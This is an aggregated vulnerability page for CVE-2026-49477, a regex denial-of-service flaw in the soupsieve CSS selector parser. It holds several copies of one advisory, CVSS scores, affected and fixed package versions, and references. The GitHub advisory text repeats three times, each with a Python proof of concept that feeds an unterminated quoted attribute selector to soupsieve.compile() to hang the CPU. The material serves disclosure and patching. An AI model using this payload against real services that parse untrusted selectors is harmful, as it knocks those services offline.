CVE-2026-49477
Soup Sieve: Regular Expression Denial of Service (ReDoS) in soupsieve Selector Parser
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Soup Sieve: Regular Expression Denial of Service (ReDoS) in soupsieve Selector Parser
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.
- Record
CVE-2026-49477- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-1333
- Updated
- 2026-11-02
EUVDEUVD-2026-44538
7.5
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.
- Record
EUVD-2026-44538- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-836r-79rf-4m37
7.5
Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser
Summary
The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the VALUE regex pattern in css_parser.py enters exponential backtracking. A payload of only 300 bytes causes the regex engine to hang for over 3 seconds, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.
To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.
Any application that passes untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup's .select() / .select_one() is affected.
Details
Affected code: soupsieve/css_parser.py, line ~121 - RE_VALUES / VALUE regex pattern
The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings ("value" or 'value') and unquoted identifiers. The regex contains alternation branches for:
- Double-quoted strings:
"[^"\\]*(?:\\.[^"\\]*)*" - Single-quoted strings:
'[^'\\]*(?:\\.[^'\\]*)*' - Unquoted identifiers
When an attribute selector contains an unterminated quoted value - e.g., [a="xxxx... (opening " but no closing ") -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes catastrophic backtracking where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.
Root cause: The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.
Key characteristics:
- Input size: Only 300 bytes are needed to trigger a >3 second hang
- Amplification: Each additional character approximately doubles the backtracking time
- No memory impact: The attack consumes CPU only (regex backtracking is compute-bound)
Proof of Concept
import time
import soupsieve as sv
PAYLOAD_LEN = 300
# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
sv.compile(well_formed)
except Exception:
pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")
# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
sv.compile(malformed) # WARNING: This will hang for >3 seconds
except Exception:
pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")
slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")
# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.
Safe testing variant with timeout:
import signal
import soupsieve as sv
def timeout_handler(signum, frame):
raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")
PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3) # 3-second timeout
try:
sv.compile(malformed)
print("Selector compiled (not vulnerable)")
except TimeoutError as e:
print(f"VULNERABLE:…
- Record
GHSA-836r-79rf-4m37- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-1333
- Updated
- 2026-11-02
NVD
7.5
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.
- Record
CVE-2026-49477- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-1333
- Updated
- 2026-11-02
OSV
7.5
Soup Sieve: Regular Expression Denial of Service (ReDoS) in soupsieve Selector Parser
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.
- Record
CVE-2026-49477- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333, CWE-400
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-49477
7.5
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.
- Record
DEBIAN-CVE-2026-49477- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 14 moreShow less
OSVGHSA-836r-79rf-4m37
7.5
Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser
Summary
The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the VALUE regex pattern in css_parser.py enters exponential backtracking. A payload of only 300 bytes causes the regex engine to hang for over 3 seconds, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.
To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.
Any application that passes untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup's .select() / .select_one() is affected.
Details
Affected code: soupsieve/css_parser.py, line ~121 - RE_VALUES / VALUE regex pattern
The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings ("value" or 'value') and unquoted identifiers. The regex contains alternation branches for:
- Double-quoted strings:
"[^"\\]*(?:\\.[^"\\]*)*" - Single-quoted strings:
'[^'\\]*(?:\\.[^'\\]*)*' - Unquoted identifiers
When an attribute selector contains an unterminated quoted value - e.g., [a="xxxx... (opening " but no closing ") -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes catastrophic backtracking where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.
Root cause: The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.
Key characteristics:
- Input size: Only 300 bytes are needed to trigger a >3 second hang
- Amplification: Each additional character approximately doubles the backtracking time
- No memory impact: The attack consumes CPU only (regex backtracking is compute-bound)
Proof of Concept
import time
import soupsieve as sv
PAYLOAD_LEN = 300
# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
sv.compile(well_formed)
except Exception:
pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")
# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
sv.compile(malformed) # WARNING: This will hang for >3 seconds
except Exception:
pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")
slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")
# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.
Safe testing variant with timeout:
import signal
import soupsieve as sv
def timeout_handler(signum, frame):
raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")
PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3) # 3-second timeout
try:
sv.compile(malformed)
print("Selector compiled (not vulnerable)")
except TimeoutError as e:
print(f"VULNERABLE:…
- Record
GHSA-836r-79rf-4m37- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333, CWE-400
- Updated
- 2026-11-02
OSVOESA-2026-3619
7.5
python-soupsieve security update
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. It aims to provide selecting, matching, and filtering using modern CSS selectors. Soup Sieve currently provides selectors from the CSS level 1 specifications up through the latest CSS level 4 drafts and beyond (though some are not yet implemented).
Security Fix(es):
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49476)
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49477)
- Record
OESA-2026-3619- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVOESA-2026-3620
7.5
python-soupsieve security update
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. It aims to provide selecting, matching, and filtering using modern CSS selectors. Soup Sieve currently provides selectors from the CSS level 1 specifications up through the latest CSS level 4 drafts and beyond (though some are not yet implemented).
Security Fix(es):
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49476)
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49477)
- Record
OESA-2026-3620- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVOESA-2026-3621
7.5
python-soupsieve security update
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. It aims to provide selecting, matching, and filtering using modern CSS selectors. Soup Sieve currently provides selectors from the CSS level 1 specifications up through the latest CSS level 4 drafts and beyond (though some are not yet implemented).
Security Fix(es):
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49476)
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49477)
- Record
OESA-2026-3621- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVOESA-2026-3762
7.5
python-soupsieve security update
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. It aims to provide selecting, matching, and filtering using modern CSS selectors. Soup Sieve currently provides selectors from the CSS level 1 specifications up through the latest CSS level 4 drafts and beyond (though some are not yet implemented).
Security Fix(es):
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49476)
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49477)
- Record
OESA-2026-3762- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVPYSEC-2026-3072
7.5
Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser
Summary
The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the VALUE regex pattern in css_parser.py enters exponential backtracking. A payload of only 300 bytes causes the regex engine to hang for over 3 seconds, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.
To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.
Any application that passes untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup's .select() / .select_one() is affected.
Details
Affected code: soupsieve/css_parser.py, line ~121 - RE_VALUES / VALUE regex pattern
The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings ("value" or 'value') and unquoted identifiers. The regex contains alternation branches for:
- Double-quoted strings:
"[^"\\]*(?:\\.[^"\\]*)*" - Single-quoted strings:
'[^'\\]*(?:\\.[^'\\]*)*' - Unquoted identifiers
When an attribute selector contains an unterminated quoted value - e.g., [a="xxxx... (opening " but no closing ") -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes catastrophic backtracking where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.
Root cause: The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.
Key characteristics:
- Input size: Only 300 bytes are needed to trigger a >3 second hang
- Amplification: Each additional character approximately doubles the backtracking time
- No memory impact: The attack consumes CPU only (regex backtracking is compute-bound)
Proof of Concept
import time
import soupsieve as sv
PAYLOAD_LEN = 300
# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
sv.compile(well_formed)
except Exception:
pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")
# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
sv.compile(malformed) # WARNING: This will hang for >3 seconds
except Exception:
pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")
slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")
# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.
Safe testing variant with timeout:
import signal
import soupsieve as sv
def timeout_handler(signum, frame):
raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")
PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3) # 3-second timeout
try:
sv.compile(malformed)
print("Selector compiled (not vulnerable)")
except TimeoutError as e:
print(f"VULNERABLE:…
- Record
PYSEC-2026-3072- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:23992
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:23992- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:34119
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:34119- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-49477
7.5
Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.
- Record
UBUNTU-CVE-2026-49477- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21342-1 No score
Security update for python-soupsieve
This update for python-soupsieve fixes the following issues
- CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).
- CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).
- Record
openSUSE-SU-2026:21342-1- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-49477 No score
CVE-2026-49477 in rootio-soupsieve - Patched by Root
Root has patched CVE-2026-49477 in the rootio-soupsieve package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-49477- Updated
- 2026-11-02
OSVSUSE-SU-2026:22660-1 No score
Security update for python-soupsieve
This update for python-soupsieve fixes the following issues
- CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).
- CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).
- Record
SUSE-SU-2026:22660-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:3239-1 No score
Security update for python-soupsieve
This update for python-soupsieve fixes the following issues
- CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).
- CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).
- Record
SUSE-SU-2026:3239-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:3240-1 No score
Security update for python-soupsieve
This update for python-soupsieve fixes the following issues
- CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).
- CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).
- Record
SUSE-SU-2026:3240-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
soupsievePyPI |
through 2.8.3 | 2.8.4 |
soupsieveDebian:12 |
All versions, plus listed versions 2.3.2-12.4-12.4.1-12.4.1-22.5-1 Show 6 moreShow less2.6-12.7-12.7-22.8.1-12.8.3-12.8.4-1 |
None known |
soupsieveDebian:13 |
All versions, plus listed versions 2.7-12.7-22.8.1-12.8.3-12.8.4-1 |
None known |
soupsieveDebian:14 |
before 2.8.4-1, plus listed versions 2.7-12.7-22.8.1-12.8.3-1 |
2.8.4-1 |
soupsievePyPI |
before 2.8.4, plus listed versions 0.40.50.5.10.5.20.5.3 Show 45 moreShow less0.61.01.0.11.0.21.0b11.0b21.11.21.2.11.31.3.11.41.51.61.6.11.6.21.71.7.11.7.21.7.31.81.91.9.11.9.21.9.31.9.41.9.51.9.62.02.0.12.12.22.2.12.32.3.12.3.22.3.2.post12.42.4.12.52.62.72.82.8.12.8.2 |
2.8.4 |
python-soupsieveopenEuler:22.03-LTS-SP4 From an advisory covering 2 CVEs |
before 2.2-3.oe2203sp4 | 2.2-3.oe2203sp4 |
python-soupsieveopenEuler:24.03-LTS-SP1 From an advisory covering 2 CVEs |
before 2.4-2.oe2403sp1 | 2.4-2.oe2403sp1 |
python-soupsieveopenEuler:24.03-LTS-SP3 From an advisory covering 2 CVEs |
before 2.4-2.oe2403sp3 | 2.4-2.oe2403sp3 |
python-soupsieveopenEuler:24.03-LTS-SP4 From an advisory covering 2 CVEs |
before 2.4-2.oe2403sp4 | 2.4-2.oe2403sp4 |
python-rpds-pyRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:2026.6.3-1.hum1 | 0:2026.6.3-1.hum1 |
Show 24 moreShow less
| Package | Affected | Fixed |
|---|---|---|
python3-rpds-pyRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:2026.6.3-1.hum1 | 0:2026.6.3-1.hum1 |
rootio-soupsieveRoot:PyPI |
before 2.8.3+root.io.1 | 2.8.3+root.io.12.6+root.io.12.8.1+root.io.22.7+root.io.1 |
python-soupsieveSUSE:Linux Enterprise Server 16.0 From an advisory covering 2 CVEs |
before 2.6-160000.4.1 | 2.6-160000.4.1 |
python-soupsieveSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 2 CVEs |
before 2.6-160000.4.1 | 2.6-160000.4.1 |
python-soupsieveSUSE:Linux Enterprise Module for Basesystem 15 SP7 From an advisory covering 2 CVEs |
before 1.9.5-150200.3.3.1 | 1.9.5-150200.3.3.1 |
python-soupsieveSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 2 CVEs |
before 1.9.5-150200.3.3.1 | 1.9.5-150200.3.3.1 |
python-soupsieveSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 2 CVEs |
before 1.9.5-150200.3.3.1 | 1.9.5-150200.3.3.1 |
python-soupsieveSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 2 CVEs |
before 1.9.5-150200.3.3.1 | 1.9.5-150200.3.3.1 |
python-soupsieveSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 2 CVEs |
before 1.9.5-150200.3.3.1 | 1.9.5-150200.3.3.1 |
python-soupsieveSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 2 CVEs |
before 1.9.5-150200.3.3.1 | 1.9.5-150200.3.3.1 |
python-soupsieveSUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 2 CVEs |
before 1.9.5-150200.3.3.1 | 1.9.5-150200.3.3.1 |
python-soupsieveSUSE:Linux Enterprise Server 15 SP6-LTSS From an advisory covering 2 CVEs |
before 1.9.5-150200.3.3.1 | 1.9.5-150200.3.3.1 |
python-soupsieveSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 2 CVEs |
before 1.9.5-150200.3.3.1 | 1.9.5-150200.3.3.1 |
python-soupsieveSUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 2 CVEs |
before 1.9.5-150200.3.3.1 | 1.9.5-150200.3.3.1 |
python-soupsieveSUSE:Linux Enterprise Server for SAP Applications 15 SP6 From an advisory covering 2 CVEs |
before 1.9.5-150200.3.3.1 | 1.9.5-150200.3.3.1 |
python-soupsieveSUSE:Linux Enterprise Module for Python 3 15 SP7 From an advisory covering 2 CVEs |
before 2.5-150600.3.3.1 | 2.5-150600.3.3.1 |
python-soupsieveSUSE:Linux Enterprise Server 15 SP6-LTSS From an advisory covering 2 CVEs |
before 2.5-150600.3.3.1 | 2.5-150600.3.3.1 |
python-soupsieveSUSE:Linux Enterprise Server for SAP Applications 15 SP6 From an advisory covering 2 CVEs |
before 2.5-150600.3.3.1 | 2.5-150600.3.3.1 |
soupsieveUbuntu:20.04:LTS |
All versions, plus listed versions 1.9.2+dfsg-2ubuntu11.9.4+dfsg-11.9.5+dfsg-1 |
None known |
soupsieveUbuntu:22.04:LTS |
All versions, plus listed versions 2.2.1-22.3-12.3.1-1 |
None known |
soupsieveUbuntu:24.04:LTS |
All versions, plus listed versions 2.4.1-22.5-1 |
None known |
soupsieveUbuntu:26.10 |
All versions, plus listed versions 2.8.3-12.8.4-1 |
None known |
soupsieveUbuntu:26.04:LTS |
All versions, plus listed versions 2.7-22.8.1-12.8.3-1 |
None known |
python-soupsieveopenSUSE:Leap 16.0 From an advisory covering 2 CVEs |
before 2.6-160000.4.1 | 2.6-160000.4.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-49477 is a high vulnerability (CVSS 7.5) in Facelessuser Soup Sieve, published July 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.64%, the 51st percentile. Fixed in soupsieve 2.8.4.
References
github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37
github.com/facelessuser/soupsieve/commit/eb4397618709186c109400448c6043b728217dc3
github.com/facelessuser/soupsieve/releases/tag/2.8.4
github.com/advisories/GHSA-836r-79rf-4m37
github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49477.json
nvd.nist.gov/vuln/detail/CVE-2026-49477
Show 41 moreShow less
security-tracker.debian.org/tracker/CVE-2026-49477
github.com/facelessuser/soupsieve
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3619
nvd.nist.gov/vuln/detail/CVE-2026-49476
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3620
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3621
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3762
pypi.org/project/soupsieve
access.redhat.com/errata/RHSA-2026:23992
images.redhat.com
access.redhat.com/security/cve/CVE-2026-49477
access.redhat.com/security/updates/classification
access.redhat.com/security/cve/CVE-2026-49476
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_23992.json
bugzilla.redhat.com/show_bug.cgi?id=2500715
cve.org/CVERecord?id=CVE-2026-49476
github.com/facelessuser/soupsieve/commit/28108ab805818c832d9568142a99844fd95a0d39
github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x
bugzilla.redhat.com/show_bug.cgi?id=2500752
cve.org/CVERecord?id=CVE-2026-49477
access.redhat.com/errata/RHSA-2026:34119
access.redhat.com/security/cve/CVE-2026-45409
access.redhat.com/security/cve/CVE-2026-44431
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_34119.json
bugzilla.redhat.com/show_bug.cgi?id=2477167
cve.org/CVERecord?id=CVE-2026-44431
